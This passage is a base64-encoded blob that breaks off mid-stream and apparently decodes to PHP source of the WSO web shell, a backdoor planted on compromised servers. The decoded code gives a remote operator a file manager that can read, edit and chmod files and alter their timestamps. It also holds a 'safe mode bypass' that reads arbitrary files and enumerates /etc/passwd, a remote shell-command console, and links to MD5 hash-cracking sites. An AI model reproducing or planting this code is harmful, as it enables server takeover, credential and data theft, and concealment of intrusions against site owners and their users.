Ym1pdCgpXCI+PGJyPg0KCQkJPGlucHV0IHR5cGU9J2J1dHRvbicgdmFsdWU9J21kNS5yZWRub2l6ZS5jb20nIG9uY2xpY2s9XCJkb2N1bWVudC5oZi5hY3Rpb249J2h0dHA6Ly9tZDUucmVkbm9pemUuY29tLz9xPScrZG9jdW1lbnQuaGYuaGFzaC52YWx1ZSsnJnM9bWQ1Jztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJCTxpbnB1dCB0eXBlPSdidXR0b24nIHZhbHVlPSdtZDVkZWNyeXB0ZXIuY29tJyBvbmNsaWNrPVwiZG9jdW1lbnQuaGYuYWN0aW9uPSdodHRwOi8vd3d3Lm1kNWRlY3J5cHRlci5jb20vJztkb2N1bWVudC5oZi5zdWJtaXQoKVwiPjxicj4NCgkJPC9mb3JtPjwvZGl2PiI7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkZpbGVzVG9vbHMoKSB7DQoJaWYoIGlzc2V0KCRfUE9TVFsncDEnXSkgKQ0KCQkkX1BPU1RbJ3AxJ10gPSB1cmxkZWNvZGUoJF9QT1NUWydwMSddKTsNCglpZihAJF9QT1NUWydwMiddPT0nZG93bmxvYWQnKSB7DQoJCWlmKEBpc19maWxlKCRfUE9TVFsncDEnXSkgJiYgQGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkpIHsNCgkJCW9iX3N0YXJ0KCJvYl9nemhhbmRsZXIiLCA0MDk2KTsNCgkJCWhlYWRlcigiQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9Ii5iYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKTsNCgkJCWlmIChmdW5jdGlvbl9leGlzdHMoIm1pbWVfY29udGVudF90eXBlIikpIHsNCgkJCQkkdHlwZSA9IEBtaW1lX2NvbnRlbnRfdHlwZSgkX1BPU1RbJ3AxJ10pOw0KCQkJCWhlYWRlcigiQ29udGVudC1UeXBlOiAiIC4gJHR5cGUpOw0KCQkJfSBlbHNlDQogICAgICAgICAgICAgICAgaGVhZGVyKCJDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbSIpOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgInIiKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCFAZmVvZigkZnApKQ0KCQkJCQllY2hvIEBmcmVhZCgkZnAsIDEwMjQpOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9ZXhpdDsNCgl9DQoJaWYoIEAkX1BPU1RbJ3AyJ10gPT0gJ21rZmlsZScgKSB7DQoJCWlmKCFmaWxlX2V4aXN0cygkX1BPU1RbJ3AxJ10pKSB7DQoJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCAndycpOw0KCQkJaWYoJGZwKSB7DQoJCQkJJF9QT1NUWydwMiddID0gImVkaXQiOw0KCQkJCWZjbG9zZSgkZnApOw0KCQkJfQ0KCQl9DQoJfQ0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5GaWxlIHRvb2xzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCglpZiggIWZpbGVfZXhpc3RzKEAkX1BPU1RbJ3AxJ10pICkgew0KCQllY2hvICdGaWxlIG5vdCBleGlzdHMnOw0KCQl3c29Gb290ZXIoKTsNCgkJcmV0dXJuOw0KCX0NCgkkdWlkID0gQHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoJF9QT1NUWydwMSddKSk7DQoJaWYoISR1aWQpIHsNCgkJJHVpZFsnbmFtZSddID0gQGZpbGVvd25lcigkX1BPU1RbJ3AxJ10pOw0KCQkkZ2lkWyduYW1lJ10gPSBAZmlsZWdyb3VwKCRfUE9TVFsncDEnXSk7DQoJfSBlbHNlICRnaWQgPSBAcG9zaXhfZ2V0Z3JnaWQoQGZpbGVncm91cCgkX1BPU1RbJ3AxJ10pKTsNCgllY2hvICc8c3Bhbj5OYW1lOjwvc3Bhbj4gJy5odG1sc3BlY2lhbGNoYXJzKEBiYXNlbmFtZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPlNpemU6PC9zcGFuPiAnLihpc19maWxlKCRfUE9TVFsncDEnXSk/d3NvVmlld1NpemUoZmlsZXNpemUoJF9QT1NUWydwMSddKSk6Jy0nKS4nIDxzcGFuPlBlcm1pc3Npb246PC9zcGFuPiAnLndzb1Blcm1zQ29sb3IoJF9QT1NUWydwMSddKS4nIDxzcGFuPk93bmVyL0dyb3VwOjwvc3Bhbj4gJy4kdWlkWyduYW1lJ10uJy8nLiRnaWRbJ25hbWUnXS4nPGJyPic7DQoJZWNobyAnPHNwYW4+Q3JlYXRlIHRpbWU6PC9zcGFuPiAnLmRhdGUoJ1ktbS1kIEg6aTpzJyxmaWxlY3RpbWUoJF9QT1NUWydwMSddKSkuJyA8c3Bhbj5BY2Nlc3MgdGltZTo8L3NwYW4+ICcuZGF0ZSgnWS1tLWQgSDppOnMnLGZpbGVhdGltZSgkX1BPU1RbJ3AxJ10pKS4nIDxzcGFuPk1vZGlmeSB0aW1lOjwvc3Bhbj4gJy5kYXRlKCdZLW0tZCBIOmk6cycsZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLic8YnI+PGJyPic7DQoJaWYoIGVtcHR5KCRfUE9TVFsncDInXSkgKQ0KCQkkX1BPU1RbJ3AyJ10gPSAndmlldyc7DQoJaWYoIGlzX2ZpbGUoJF9QT1NUWydwMSddKSApDQoJCSRtID0gYXJyYXkoJ1ZpZXcnLCAnSGlnaGxpZ2h0JywgJ0Rvd25sb2FkJywgJ0hleGR1bXAnLCAnRWRpdCcsICdDaG1vZCcsICdSZW5hbWUnLCAnVG91Y2gnKTsNCgllbHNlDQoJCSRtID0gYXJyYXkoJ0NobW9kJywgJ1JlbmFtZScsICdUb3VjaCcpOw0KCWZvcmVhY2goJG0gYXMgJHYpDQoJCWVjaG8gJzxhIGhyZWY9IyBvbmNsaWNrPSJnKG51bGwsbnVsbCxudWxsLFwnJy5zdHJ0b2xvd2VyKCR2KS4nXCcpIj4nLigoc3RydG9sb3dlcigkdik9PUAkX1BPU1RbJ3AyJ10pPyc8Yj5bICcuJHYuJyBdPC9iPic6JHYpLic8L2E+ICc7DQoJZWNobyAnPGJyPjxicj4nOw0KCXN3aXRjaCgkX1BPU1RbJ3AyJ10pIHsNCgkJY2FzZSAndmlldyc6DQoJCQllY2hvICc8cHJlIGNsYXNzPW1sMT4nOw0KCQkJJGZwID0gQGZvcGVuKCRfUE9TVFsncDEnXSwgJ3InKTsNCgkJCWlmKCRmcCkgew0KCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApDQoJCQkJCWVjaG8gaHRtbHNwZWNpYWxjaGFycyhAZnJlYWQoJGZwLCAxMDI0KSk7DQoJCQkJQGZjbG9zZSgkZnApOw0KCQkJfQ0KCQkJZWNobyAnPC9wcmU+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdoaWdobGlnaHQnOg0KCQkJaWYoIEBpc19yZWFkYWJsZSgkX1BPU1RbJ3AxJ10pICkgew0KCQkJCWVjaG8gJzxkaXYgY2xhc3M9bWwxIHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOiAjZTFlMWUxO2NvbG9yOmJsYWNrOyI+JzsNCgkJCQkkY29kZSA9IEBoaWdobGlnaHRfZmlsZSgkX1BPU1RbJ3AxJ10sdHJ1ZSk7DQoJCQkJZWNobyBzdHJfcmVwbGFjZShhcnJheSgnPHNwYW4gJywnPC9zcGFuPicpLCBhcnJheSgnPGZvbnQgJywnPC9mb250PicpLCRjb2RlKS4nPC9kaXY+JzsNCgkJCX0NCgkJCWJyZWFrOw0KCQljYXNlICdjaG1vZCc6DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHBlcm1zID0gMDsNCgkJCQlmb3IoJGk9c3RybGVuKCRfUE9TVFsncDMnXSktMTskaT49MDstLSRpKQ0KCQkJCQkkcGVybXMgKz0gKGludCkkX1BPU1RbJ3AzJ11bJGldKnBvdyg4LCAoc3RybGVuKCRfUE9TVFsncDMnXSktJGktMSkpOw0KCQkJCWlmKCFAY2htb2QoJF9QT1NUWydwMSddLCAkcGVybXMpKQ0KCQkJCQllY2hvICdDYW5cJ3Qgc2V0IHBlcm1pc3Npb25zITxicj48c2NyaXB0PmRvY3VtZW50Lm1mLnAzLnZhbHVlPSIiOzwvc2NyaXB0Pic7DQoJCQl9DQoJCQljbGVhcnN0YXRjYWNoZSgpOw0KCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLmNobW9kLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9Y2htb2QgdmFsdWU9Iicuc3Vic3RyKHNwcmludGYoJyVvJywgZmlsZXBlcm1zKCRfUE9TVFsncDEnXSkpLC00KS4nIj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+JzsNCgkJCWJyZWFrOw0KCQljYXNlICdlZGl0JzoNCgkJCWlmKCAhaXNfd3JpdGFibGUoJF9QT1NUWydwMSddKSkgew0KCQkJCWVjaG8gJ0ZpbGUgaXNuXCd0IHdyaXRlYWJsZSc7DQoJCQkJYnJlYWs7DQoJCQl9DQoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7DQoJCQkJJHRpbWUgPSBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSk7DQoJCQkJJF9QT1NUWydwMyddID0gc3Vic3RyKCRfUE9TVFsncDMnXSwxKTsNCgkJCQkkZnAgPSBAZm9wZW4oJF9QT1NUWydwMSddLCJ3Iik7DQoJCQkJaWYoJGZwKSB7DQoJCQkJCUBmd3JpdGUoJGZwLCRfUE9TVFsncDMnXSk7DQoJCQkJCUBmY2xvc2UoJGZwKTsNCgkJCQkJZWNobyAnU2F2ZWQhPGJyPjxzY3JpcHQ+cDNfPSIiOzwvc2NyaXB0Pic7DQoJCQkJCUB0b3VjaCgkX1BPU1RbJ3AxJ10sJHRpbWUsJHRpbWUpOw0KCQkJCX0NCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsXCcxXCcrdGhpcy50ZXh0LnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48dGV4dGFyZWEgbmFtZT10ZXh0IGNsYXNzPWJpZ2FyZWE+JzsNCgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7DQoJCQlpZigkZnApIHsNCgkJCQl3aGlsZSggIUBmZW9mKCRmcCkgKQ0KCQkJCQllY2hvIGh0bWxzcGVjaWFsY2hhcnMoQGZyZWFkKCRmcCwgMTAyNCkpOw0KCQkJCUBmY2xvc2UoJGZwKTsNCgkJCX0NCgkJCWVjaG8gJzwvdGV4dGFyZWE+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAnaGV4ZHVtcCc6DQoJCQkkYyA9IEBmaWxlX2dldF9jb250ZW50cygkX1BPU1RbJ3AxJ10pOw0KCQkJJG4gPSAwOw0KCQkJJGggPSBhcnJheSgnMDAwMDAwMDA8YnI+JywnJywnJyk7DQoJCQkkbGVuID0gc3RybGVuKCRjKTsNCgkJCWZvciAoJGk9MDsgJGk8JGxlbjsgKyskaSkgew0KCQkJCSRoWzFdIC49IHNwcmludGYoJyUwMlgnLG9yZCgkY1skaV0pKS4nICc7DQoJCQkJc3dpdGNoICggb3JkKCRjWyRpXSkgKSB7DQoJCQkJCWNhc2UgMDogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgOTogICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTA6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWNhc2UgMTM6ICRoWzJdIC49ICcgJzsgYnJlYWs7DQoJCQkJCWRlZmF1bHQ6ICRoWzJdIC49ICRjWyRpXTsgYnJlYWs7DQoJCQkJfQ0KCQkJCSRuKys7DQoJCQkJaWYgKCRuID09IDMyKSB7DQoJCQkJCSRuID0gMDsNCgkJCQkJaWYgKCRpKzEgPCAkbGVuKSB7JGhbMF0gLj0gc3ByaW50ZignJTA4WCcsJGkrMSkuJzxicj4nO30NCgkJCQkJJGhbMV0gLj0gJzxicj4nOw0KCQkJCQkkaFsyXSAuPSAiXG4iOw0KCQkJCX0NCgkJIAl9DQoJCQllY2hvICc8dGFibGUgY2VsbHNwYWNpbmc9MSBjZWxscGFkZGluZz01IGJnY29sb3I9IzIyMjIyMj48dHI+PHRkIGJnY29sb3I9IzMzMzMzMz48c3BhbiBzdHlsZT0iZm9udC13ZWlnaHQ6IG5vcm1hbDsiPjxwcmU+Jy4kaFswXS4nPC9wcmU+PC9zcGFuPjwvdGQ+PHRkIGJnY29sb3I9IzI4MjgyOD48cHJlPicuJGhbMV0uJzwvcHJlPjwvdGQ+PHRkIGJnY29sb3I9IzMzMzMzMz48cHJlPicuaHRtbHNwZWNpYWxjaGFycygkaFsyXSkuJzwvcHJlPjwvdGQ+PC90cj48L3RhYmxlPic7DQoJCQlicmVhazsNCgkJY2FzZSAncmVuYW1lJzoNCgkJCWlmKCAhZW1wdHkoJF9QT1NUWydwMyddKSApIHsNCgkJCQlpZighQHJlbmFtZSgkX1BPU1RbJ3AxJ10sICRfUE9TVFsncDMnXSkpDQoJCQkJCWVjaG8gJ0NhblwndCByZW5hbWUhPGJyPic7DQoJCQkJZWxzZQ0KCQkJCQlkaWUoJzxzY3JpcHQ+ZyhudWxsLG51bGwsIicudXJsZW5jb2RlKCRfUE9TVFsncDMnXSkuJyIsbnVsbCwiIik8L3NjcmlwdD4nKTsNCgkJCX0NCgkJCWVjaG8gJzxmb3JtIG9uc3VibWl0PSJnKG51bGwsbnVsbCxudWxsLG51bGwsdGhpcy5uYW1lLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9bmFtZSB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsncDEnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJCQlicmVhazsNCgkJY2FzZSAndG91Y2gnOg0KCQkJaWYoICFlbXB0eSgkX1BPU1RbJ3AzJ10pICkgew0KCQkJCSR0aW1lID0gc3RydG90aW1lKCRfUE9TVFsncDMnXSk7DQoJCQkJaWYoJHRpbWUpIHsNCgkJCQkJaWYoIXRvdWNoKCRfUE9TVFsncDEnXSwkdGltZSwkdGltZSkpDQoJCQkJCQllY2hvICdGYWlsISc7DQoJCQkJCWVsc2UNCgkJCQkJCWVjaG8gJ1RvdWNoZWQhJzsNCgkJCQl9IGVsc2UgZWNobyAnQmFkIHRpbWUgZm9ybWF0ISc7DQoJCQl9DQoJCQljbGVhcnN0YXRjYWNoZSgpOw0KCQkJZWNobyAnPHNjcmlwdD5wM189IiI7PC9zY3JpcHQ+PGZvcm0gb25zdWJtaXQ9ImcobnVsbCxudWxsLG51bGwsbnVsbCx0aGlzLnRvdWNoLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48aW5wdXQgdHlwZT10ZXh0IG5hbWU9dG91Y2ggdmFsdWU9IicuZGF0ZSgiWS1tLWQgSDppOnMiLCBAZmlsZW10aW1lKCRfUE9TVFsncDEnXSkpLiciPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nOw0KCQkJYnJlYWs7DQoJfQ0KCWVjaG8gJzwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvblNhZmVNb2RlKCkgew0KCSR0ZW1wPScnOw0KCW9iX3N0YXJ0KCk7DQoJc3dpdGNoKCRfUE9TVFsncDEnXSkgew0KCQljYXNlIDE6DQoJCQkkdGVtcD1AdGVtcG5hbSgkdGVzdCwgJ2N4Jyk7DQoJCQlpZihAY29weSgiY29tcHJlc3MuemxpYjovLyIuJF9QT1NUWydwMiddLCAkdGVtcCkpew0KCQkJCWVjaG8gQGZpbGVfZ2V0X2NvbnRlbnRzKCR0ZW1wKTsNCgkJCQl1bmxpbmsoJHRlbXApOw0KCQkJfSBlbHNlDQoJCQkJZWNobyAnU29ycnkuLi4gQ2FuXCd0IG9wZW4gZmlsZSc7DQoJCQlicmVhazsNCgkJY2FzZSAyOg0KCQkJJGZpbGVzID0gZ2xvYigkX1BPU1RbJ3AyJ10uJyonKTsNCgkJCWlmKCBpc19hcnJheSgkZmlsZXMpICkNCgkJCQlmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKQ0KCQkJCQllY2hvICRmaWxlbmFtZS4iXG4iOw0KCQkJYnJlYWs7DQoJCWNhc2UgMzoNCgkJCSRjaCA9IGN1cmxfaW5pdCgiZmlsZTovLyIuJF9QT1NUWydwMiddLiJceDAwIi5wcmVnX3JlcGxhY2UoJyFcKFxkK1wpXHMuKiEnLCAnJywgX19GSUxFX18pKTsNCgkJCWN1cmxfZXhlYygkY2gpOw0KCQkJYnJlYWs7DQoJCWNhc2UgNDoNCgkJCWluaV9yZXN0b3JlKCJzYWZlX21vZGUiKTsNCgkJCWluaV9yZXN0b3JlKCJvcGVuX2Jhc2VkaXIiKTsNCgkJCWluY2x1ZGUoJF9QT1NUWydwMiddKTsNCgkJCWJyZWFrOw0KCQljYXNlIDU6DQoJCQlmb3IoOyRfUE9TVFsncDInXSA8PSAkX1BPU1RbJ3AzJ107JF9QT1NUWydwMiddKyspIHsNCgkJCQkkdWlkID0gQHBvc2l4X2dldHB3dWlkKCRfUE9TVFsncDInXSk7DQoJCQkJaWYgKCR1aWQpDQoJCQkJCWVjaG8gam9pbignOicsJHVpZCkuIlxuIjsNCgkJCX0NCgkJCWJyZWFrOw0KCX0NCgkkdGVtcCA9IG9iX2dldF9jbGVhbigpOw0KCXdzb0hlYWRlcigpOw0KCWVjaG8gJzxoMT5TYWZlIG1vZGUgYnlwYXNzPC9oMT48ZGl2IGNsYXNzPWNvbnRlbnQ+JzsNCgllY2hvICc8c3Bhbj5Db3B5IChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjEiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5HbG9iIChsaXN0IGRpcik8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMiIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkN1cmwgKHJlYWQgZmlsZSk8L3NwYW4+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiMyIsdGhpcy5wYXJhbS52YWx1ZSk7cmV0dXJuIGZhbHNlO1wnPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1wYXJhbT48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PGJyPjxzcGFuPkluaV9yZXN0b3JlIChyZWFkIGZpbGUpPC9zcGFuPjxmb3JtIG9uc3VibWl0PVwnZyhudWxsLG51bGwsIjQiLHRoaXMucGFyYW0udmFsdWUpO3JldHVybiBmYWxzZTtcJz48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjxicj48c3Bhbj5Qb3NpeF9nZXRwd3VpZCAoIlJlYWQiIC9ldGMvcGFzc3dkKTwvc3Bhbj48dGFibGU+PGZvcm0gb25zdWJtaXQ9XCdnKG51bGwsbnVsbCwiNSIsdGhpcy5wYXJhbTEudmFsdWUsdGhpcy5wYXJhbTIudmFsdWUpO3JldHVybiBmYWxzZTtcJz48dHI+PHRkPkZyb208L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0xIHZhbHVlPTA+PC90ZD48L3RyPjx0cj48dGQ+VG88L3RkPjx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9cGFyYW0yIHZhbHVlPTEwMDA+PC90ZD48L3RyPjwvdGFibGU+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPic7DQoJaWYoJHRlbXApDQoJCWVjaG8gJzxwcmUgY2xhc3M9Im1sMSIgc3R5bGU9Im1hcmdpbi10b3A6NXB4IiBpZD0iT3V0cHV0Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHRlbXApLic8L3ByZT4nOw0KCWVjaG8gJzwvZGl2Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkNvbnNvbGUoKSB7DQogICAgaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkgJiYgIWVtcHR5KCRfUE9TVFsncDInXSkpIHsNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10gPSB0cnVlOw0KICAgICAgICAkX1BPU1RbJ3AxJ10gLj0gJyAyPiYxJzsNCiAgICB9IGVsc2VpZighZW1wdHkoJF9QT1NUWydwMSddKSkNCiAgICAgICAgJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidzdGRlcnJfdG9fb3V0J10gPSBmYWxzZTsNCg0KCWlmKGlzc2V0KCRfUE9TVFsnYWpheCddKSkgew0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IHRydWU7DQoJCW9iX3N0YXJ0KCk7DQoJCWVjaG8gImQuY2YuY21kLnZhbHVlPScnO1xuIjsNCgkJJHRlbXAgPSBAaWNvbnYoJF9QT1NUWydjaGFyc2V0J10sICdVVEYtOCcsIGFkZGNzbGFzaGVzKCJcbiQgIi4kX1BPU1RbJ3AxJ10uIlxuIi53c29FeCgkX1BPU1RbJ3AxJ10pLCJcblxyXHRcXCdcMCIpKTsNCgkJaWYocHJlZ19tYXRjaCgiIS4qY2RccysoW147XSspJCEiLCRfUE9TVFsncDEnXSwkbWF0Y2gpKQl7DQoJCQlpZihAY2hkaXIoJG1hdGNoWzFdKSkgew0KCQkJCSRHTE9CQUxTWydjd2QnXSA9IEBnZXRjd2QoKTsNCgkJCQllY2hvICJjXz0nIi4kR0xPQkFMU1snY3dkJ10uIic7IjsNCgkJCX0NCgkJfQ0KCQllY2hvICJkLmNmLm91dHB1dC52YWx1ZSs9JyIuJHRlbXAuIic7IjsNCgkJZWNobyAiZC5jZi5vdXRwdXQuc2Nyb2xsVG9wID0gZC5jZi5vdXRwdXQuc2Nyb2xsSGVpZ2h0OyI7DQoJCSR0ZW1wID0gb2JfZ2V0X2NsZWFuKCk7DQoJCWVjaG8gc3RybGVuKCR0ZW1wKSwgIlxuIiwgJHRlbXA7DQoJCWV4aXQ7DQoJfQ0KCXdzb0hlYWRlcigpOw0KICAgIGVjaG8gIjxzY3JpcHQ+DQppZih3aW5kb3cuRXZlbnQpIHdpbmRvdy5jYXB0dXJlRXZlbnRzKEV2ZW50LktFWURPV04pOw0KdmFyIGNtZHMgPSBuZXcgQXJyYXkoJycpOw0KdmFyIGN1ciA9IDA7DQpmdW5jdGlvbiBrcChlKSB7DQoJdmFyIG4gPSAod2luZG93LkV2ZW50KSA/IGUud2hpY2ggOiBlLmtleUNvZGU7DQoJaWYobiA9PSAzOCkgew0KCQljdXItLTsNCgkJaWYoY3VyPj0wKQ0KCQkJZG9jdW1lbnQuY2YuY21kLnZhbHVlID0gY21kc1tjdXJdOw0KCQllbHNlDQoJCQljdXIrKzsNCgl9IGVsc2UgaWYobiA9PSA0MCkgew0KCQljdXIrKzsNCgkJaWYoY3VyIDwgY21kcy5sZW5ndGgpDQoJCQlkb2N1bWVudC5jZi5jbWQudmFsdWUgPSBjbWRzW2N1cl07DQoJCWVsc2UNCgkJCWN1ci0tOw0KCX0NCn0NCmZ1bmN0aW9uIGFkZChjbWQpIHsNCgljbWRzLnBvcCgpOw0KCWNtZHMucHVzaChjbWQpOw0KCWNtZHMucHVzaCgnJyk7DQoJY3VyID0gY21kcy5sZW5ndGgtMTsNCn0NCjwvc2NyaXB0PiI7DQoJZWNobyAnPGgxPkNvbnNvbGU8L2gxPjxkaXYgY2xhc3M9Y29udGVudD48Zm9ybSBuYW1lPWNmIG9uc3VibWl0PSJpZihkLmNmLmNtZC52YWx1ZT09XCdjbGVhclwnKXtkLmNmLm91dHB1dC52YWx1ZT1cJ1wnO2QuY2YuY21kLnZhbHVlPVwnXCc7cmV0dXJuIGZhbHNlO31hZGQodGhpcy5jbWQudmFsdWUpO2lmKHRoaXMuYWpheC5jaGVja2VkKXthKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9ZWxzZXtnKG51bGwsbnVsbCx0aGlzLmNtZC52YWx1ZSx0aGlzLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IHJldHVybiBmYWxzZTsiPjxzZWxlY3QgbmFtZT1hbGlhcz4nOw0KCWZvcmVhY2goJEdMT0JBTFNbJ2FsaWFzZXMnXSBhcyAkbiA9PiAkdikgew0KCQlpZigkdiA9PSAnJykgew0KCQkJZWNobyAnPG9wdGdyb3VwIGxhYmVsPSItJy5odG1sc3BlY2lhbGNoYXJzKCRuKS4nLSI+PC9vcHRncm91cD4nOw0KCQkJY29udGludWU7DQoJCX0NCgkJZWNobyAnPG9wdGlvbiB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCR2KS4nIj4nLiRuLic8L29wdGlvbj4nOw0KCX0NCglpZihlbXB0eSgkX1BPU1RbJ2FqYXgnXSkmJiFlbXB0eSgkX1BPU1RbJ3AxJ10pKQ0KCQkkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ2FqYXgnXSA9IGZhbHNlOw0KCWVjaG8gJzwvc2VsZWN0PjxpbnB1dCB0eXBlPWJ1dHRvbiBvbmNsaWNrPSJhZGQoZC5jZi5hbGlhcy52YWx1ZSk7aWYoZC5jZi5hamF4LmNoZWNrZWQpe2EobnVsbCxudWxsLGQuY2YuYWxpYXMudmFsdWUsZC5jZi5zaG93X2Vycm9ycy5jaGVja2VkPzE6XCdcJyk7fWVsc2V7ZyhudWxsLG51bGwsZC5jZi5hbGlhcy52YWx1ZSxkLmNmLnNob3dfZXJyb3JzLmNoZWNrZWQ/MTpcJ1wnKTt9IiB2YWx1ZT0iPj4iPiA8bm9icj48aW5wdXQgdHlwZT1jaGVja2JveCBuYW1lPWFqYXggdmFsdWU9MSAnLihAJF9TRVNTSU9OW21kNSgkX1NFUlZFUlsnSFRUUF9IT1NUJ10pLidhamF4J10/J2NoZWNrZWQnOicnKS4nPiBzZW5kIHVzaW5nIEFKQVggPGlucHV0IHR5cGU9Y2hlY2tib3ggbmFtZT1zaG93X2Vycm9ycyB2YWx1ZT0xICcuKCFlbXB0eSgkX1BPU1RbJ3AyJ10pfHwkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJ3N0ZGVycl90b19vdXQnXT8nY2hlY2tlZCc6JycpLic+IHJlZGlyZWN0IHN0ZGVyciB0byBzdGRvdXQgKDI+JjEpPC9ub2JyPjxici8+PHRleHRhcmVhIGNsYXNzPWJpZ2FyZWEgbmFtZT1vdXRwdXQgc3R5bGU9ImJvcmRlci1ib3R0b206MDttYXJnaW46MDsiIHJlYWRvbmx5Pic7DQoJaWYoIWVtcHR5KCRfUE9TVFsncDEnXSkpIHsNCgkJZWNobyBodG1sc3BlY2lhbGNoYXJzKCIkICIuJF9QT1NUWydwMSddLiJcbiIud3NvRXgoJF9QT1NUWydwMSddKSk7DQoJfQ0KCWVjaG8gJzwvdGV4dGFyZWE+PHRhYmxlIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICNkZjU7YmFja2dyb3VuZC1jb2xvcjojNTU1O2JvcmRlci10b3A6MHB4OyIgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wIHdpZHRoPSIxMDAlIj48dHI+PHRkIHdpZHRoPSIxJSI+JDwvdGQ+PHRkPjxpbnB1dCB0eXBlPXRleHQgbmFtZT1jbWQgc3R5bGU9ImJvcmRlcjowcHg7d2lkdGg6MTAwJTsiIG9ua2V5ZG93bj0ia3AoZXZlbnQpOyI+PC90ZD48L3RyPjwvdGFibGU+JzsNCgllY2hvICc8L2Zvcm0+PC9kaXY+PHNjcmlwdD5kLmNmLmNtZC5mb2N1cygpOzwvc2NyaXB0Pic7DQoJd3NvRm9vdGVyKCk7DQp9DQoNCmZ1bmN0aW9uIGFjdGlvbkxvZ291dCgpIHsNCiAgICBzZXNzaW9uX2Rlc3Ryb3koKTsNCglkaWUo